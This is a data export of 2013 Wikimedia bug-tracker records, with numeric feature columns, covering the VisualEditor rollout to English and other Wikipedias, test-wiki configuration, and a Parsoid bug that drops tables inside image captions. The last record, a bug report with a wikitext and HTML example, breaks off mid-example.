238596,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 75543 merged by jenkins-bot:
VisualEditor into beta on de/es/fr/he/it/pl/ru/svwiki for logged-in only

https://gerrit.wikimedia.org/r/75543",,,1374685596,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,14.0,26.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1142857142857143,0.8,"Change 75543 merged by jenkins-bot:
VisualEditor into beta on de/es/fr/he/it/pl/ru/svwiki for logged-in only

GERRIT_URL"
238589,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","Change 75543 had a related patch set uploaded by Jforrester:
VisualEditor into beta on de/es/fr/he/it/pl/ru/svwiki

https://gerrit.wikimedia.org/r/75543",,,1374631008,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,24.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4242424242424243,0.8181818181818182,"Change 75543 had a related patch set uploaded by Jforrester:
VisualEditor into beta on de/es/fr/he/it/pl/ru/svwiki

GERRIT_URL"
238582,"Enable VisualEditor by default for phase 2 Wikipedias (selected from the ""top 10""-ish)","According to [[meta:Tech/News/2013/30]] the list is:
German  (de), 
Spanish (es), 
French  (fr), 
Hebrew  (he) - RTL, 
Italian (it), 
Dutch   (nl), 
Polish  (pl), 
Russian (ru) and 
Swedish (sv).",,,1374489687,,PHID-USER-oxd6f6xemkuyttw7z7wl,True,,,PHID-TASK-o3inw6vkpkuhjrfly4eb,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,17.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,21.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,2.236842105263158,0.5263157894736842,"According to [[meta:Tech/News/2013/30]] the list is:
German  (de), 
Spanish (es), 
French  (fr), 
Hebrew  (he) - RTL, 
Italian (it), 
Dutch   (nl), 
Polish  (pl), 
Russian (ru) and 
Swedish (sv)."
51997,Enable VisualEditor by default for all users of the English Wikipedia,"Currently scheduled for w/c 1 July.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1371860100,1373921229.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-algalgsjyyisq2anwhms,task_description,resolved,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.6666666666666666,"Currently scheduled for w/c 1 July.

--------------------------
**Version**: unspecified
**Severity**: normal"
238559,Enable VisualEditor by default for all users of the English Wikipedia,This is now complete.,,,1373921229,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,This is now complete.
238556,Enable VisualEditor by default for all users of the English Wikipedia,"Change 73852 merged by jenkins-bot:
Stop the prevention of anons getting VisualEditor for enwiki

https://gerrit.wikimedia.org/r/73852",,,1373921102,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,15.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.8,1.0,"Change 73852 merged by jenkins-bot:
Stop the prevention of anons getting VisualEditor for enwiki

GERRIT_URL"
238553,Enable VisualEditor by default for all users of the English Wikipedia,"Change 73852 had a related patch set uploaded by Jforrester:
Stop the prevention of anons getting VisualEditor for enwiki

https://gerrit.wikimedia.org/r/73852",,,1373917817,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,22.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,13.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.043478260869565,1.0,"Change 73852 had a related patch set uploaded by Jforrester:
Stop the prevention of anons getting VisualEditor for enwiki

GERRIT_URL"
238549,Enable VisualEditor by default for all users of the English Wikipedia,"Now done for logged-in users. Will be done for the rest next week, assuming all is well.",,,1372715482,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,True,,,0,,5.0,0.0,0.0,5.0,0.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.272727272727273,0.8636363636363636,"Now done for logged-in users. Will be done for the rest next week, assuming all is well."
238542,Enable VisualEditor by default for all users of the English Wikipedia,"Change 71261 merged by jenkins-bot:
Enable VisualEditor for all logged-in users (but not anons) on enwiki

https://gerrit.wikimedia.org/r/71261",,,1372714320,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,3,False,,,0,,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9615384615384617,0.9615384615384616,"Change 71261 merged by jenkins-bot:
Enable VisualEditor for all logged-in users (but not anons) on enwiki

GERRIT_URL"
238534,Enable VisualEditor by default for all users of the English Wikipedia,"Change 71261 had a related patch set uploaded by Jforrester:
Enable VisualEditor for all logged-in users of the English Wikipedia

https://gerrit.wikimedia.org/r/71261",,,1372561707,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,2,False,,,-1,,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,27.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,15.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.730769230769231,1.0,"Change 71261 had a related patch set uploaded by Jforrester:
Enable VisualEditor for all logged-in users of the English Wikipedia

GERRIT_URL"
238527,Enable VisualEditor by default for all users of the English Wikipedia,… with 'all users' (logged in and otherwise) for w/c 8 July.,,,1371860183,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-algalgsjyyisq2anwhms,task_subcomment,,True,c1,2,True,,,-2,,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5789473684210527,0.9473684210526315,… with 'all users' (logged in and otherwise) for w/c 8 July.
51963,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,"After spending some time with VE in our various test environments, it would be convenient to have all features available in VE available in all of our test environments.  Right now it is possible to create citations in mediawiki.org but not in test2wiki, and VE in beta labs is not usable at all. 

test2wiki gives us a production wiki where it is possible to make destructive or nonsense edits that are not welcome on mediawiki.org

beta labs gives us an environment to test possibly risky merged changes that are not yet deployed

Enabling all of VE features in all test environments would be useful for testing.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49703",High,80.0,1371827040,1372377535.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_description,resolved,True,c1,2,False,False,True,-2,,3.5,0.0,0.0,0.5,2.5,7.5,3.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,2.0,0.0,7.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,5.0,0.0,2.0,0.0,1.5,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,1.5,0.0,1.0,4.0,7.5,0.5,1.5,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,10.0,4.5,0.0,0.0,0.0,3.5,0.0,2.0,1.0,1.0,0.5,0.0,0.0,1.0,4.194933489827856,0.6713615023474178,"After spending some time with VE in our various test environments, it would be convenient to have all features available in VE available in all of our test environments.  Right now it is possible to create citations in mediawiki.org but not in test2wiki, and VE in beta labs is not usable at all. 

test2wiki gives us a production wiki where it is possible to make destructive or nonsense edits that are not welcome on mediawiki.org

beta labs gives us an environment to test possibly risky merged changes that are not yet deployed

Enabling all of VE features in all test environments would be useful for testing.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
236500,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,"Change 70440 abandoned by Cmcmahon:
Enable VE experimental mode on test2wiki per Bug 49963

Reason:
overtaken by history

https://gerrit.wikimedia.org/r/70440",,,1372864721,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.72,0.84,"Change 70440 abandoned by Cmcmahon:
Enable VE experimental mode on test2wiki per Bug 49963

Reason:
overtaken by history

GERRIT_URL"
236494,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,"VE seems to be working correctly now in beta labs, test2wiki, and mw.o

Please re-open if you find otherwise.",,,1372377535,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,4.0,16.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.68,0.96,"VE seems to be working correctly now in beta labs, test2wiki, and mw.o

Please re-open if you find otherwise."
236488,Enable VisualEditor experimental mode on test* wikis as well as MW.org and Beta Labs,Related URL: https://gerrit.wikimedia.org/r/70440 (Gerrit Change I72b68e3e0db86eb5372cd303223ef8f81111271c),,,1372177710,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kd62lmqw7ntjvcrqwhvx,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I72b68e3e0db86eb5372cd303223ef8f81111271c)
51942,Images: wikitext tables inside image captions are lost,"When editing a page which has an image with table data in its caption, the table is dropped (only its closing tab is kept). The rest of the caption is dropped as well.

Test edit: https://hu.wikipedia.org/w/index.php?title=Vall%C3%A1s&diff=13696305&oldid=13696296

You don't need to interact with the image in any way for this to happen, just edit the page, change anything and save.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: https://hu.wikipedia.org/wiki/Vall%C3%A1s?oldid=13696307
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=61064",High,80.0,1371799080,1389680196.0,PHID-USER-a6p24cvyblhfzc7we7nc,False,,False,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_description,resolved,True,c1,2,False,False,False,-2,,1.0,1.0,0.0,1.5,0.5,2.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,4.5,5.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,4.0,1.5,9.0,0.5,1.0,6.5,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,1.5,5.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,1.0,0.0,0.5,0.0,0.0,0.0,3.2409154437456325,0.6437805730258561,"When editing a page which has an image with table data in its caption, the table is dropped (only its closing tab is kept). The rest of the caption is dropped as well.

Test edit: URL

You don't need to interact with the image in any way for this to happen, just edit the page, change anything and save.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL
**See Also**:
URL"
235225,Images: wikitext tables inside image captions are lost,"Change 107172 merged by Subramanya Sastry:
(Bug 49942) Tables can show up in image captions

https://gerrit.wikimedia.org/r/107172",,,1389647113,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.285714285714286,1.0,"Change 107172 merged by Subramanya Sastry:
(Bug 49942) Tables can show up in image captions

GERRIT_URL"
235219,Images: wikitext tables inside image captions are lost,"Change 107172 had a related patch set uploaded by Subramanya Sastry:
(Bug 49942) Tables can show up in captions

https://gerrit.wikimedia.org/r/107172",,,1389631306,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,3,False,,,28,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.24,1.0,"Change 107172 had a related patch set uploaded by Subramanya Sastry:
(Bug 49942) Tables can show up in captions

GERRIT_URL"
235212,Images: wikitext tables inside image captions are lost,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704],,,1372934084,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,4.814814814814815,0.8888888888888888,[Parsoid component reorg by merging JS/General and General. See bug 50685 for more information. Filter bugmail on this comment. parsoidreorg20130704]
235207,Images: wikitext tables inside image captions are lost,"(In reply to comment #3)
> (In reply to comment #2)
> > If this image is not modified by the user it should still round-trip
> > correctly,
> > but on modification the table would be lost.
> 
> The table is lost even if the user does not interact with the image in any
> way.
>
> See [[hu:Vallás]] - the image caption gets garbled as soon as you open the
> article for editing.

The corruption even if you don't touch it is a bug in VisualEditor related to munging the captions of images, which we're fixing today; sorry for that.",,,1372114586,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,3.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,3.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,21.0,2.0,0.0,8.0,0.0,0.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,11.0,15.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,0.0,3.3934426229508197,0.6885245901639344,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The corruption even if you don't touch it is a bug in VisualEditor related to munging the captions of images, which we're fixing today; sorry for that."
235201,Images: wikitext tables inside image captions are lost,"(In reply to comment #2)
> If this image is not modified by the user it should still round-trip
> correctly,
> but on modification the table would be lost.

The table is lost even if the user does not interact with the image in any way. See [[hu:Vallás]] - the image caption gets garbled as soon as you open the article for editing.",,,1372114062,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,False,,,-1,,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,12.0,2.0,0.0,11.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,12.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,3.192982456140351,0.7894736842105263,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

The table is lost even if the user does not interact with the image in any way. See [[hu:Vallás]] - the image caption gets garbled as soon as you open the article for editing."
235195,Images: wikitext tables inside image captions are lost,"This is a tokenizer issue. The table is not tokenized as such, likely because syntax stops prevent a pipe from being matched.

If this image is not modified by the user it should still round-trip correctly, but on modification the table would be lost.",,,1372105294,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-5dgywim5ydcwu6b7g2zz,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,8.0,4.0,6.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,6.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.019230769230769,0.8269230769230769,"This is a tokenizer issue. The table is not tokenized as such, likely because syntax stops prevent a pipe from being matched.

If this image is not modified by the user it should still round-trip correctly, but on modification the table would be lost."
235189,Images: wikitext tables inside image captions are lost,"Horrible, relatively-rare case for Parsoid, is the use of wikitext tables inside image captions. Currently, the following wikitext:

[Start]
[[Image:Foo.jpg|thumb|200px|This is an example image thumbnail caption with a table

{|
! Foo !! Bar
|-
| Foo1 || Bar1
|-
| Foo2 || Bar2
|}

… and some more text.]]
[End]

… turns into the following output from Parsoid:

[Start]
<figure typeof=""mw:Image/Thumb"" data-parsoid=""…"">
  <a href=""./File:Foo.jpg"" data-parsoid=""…"">
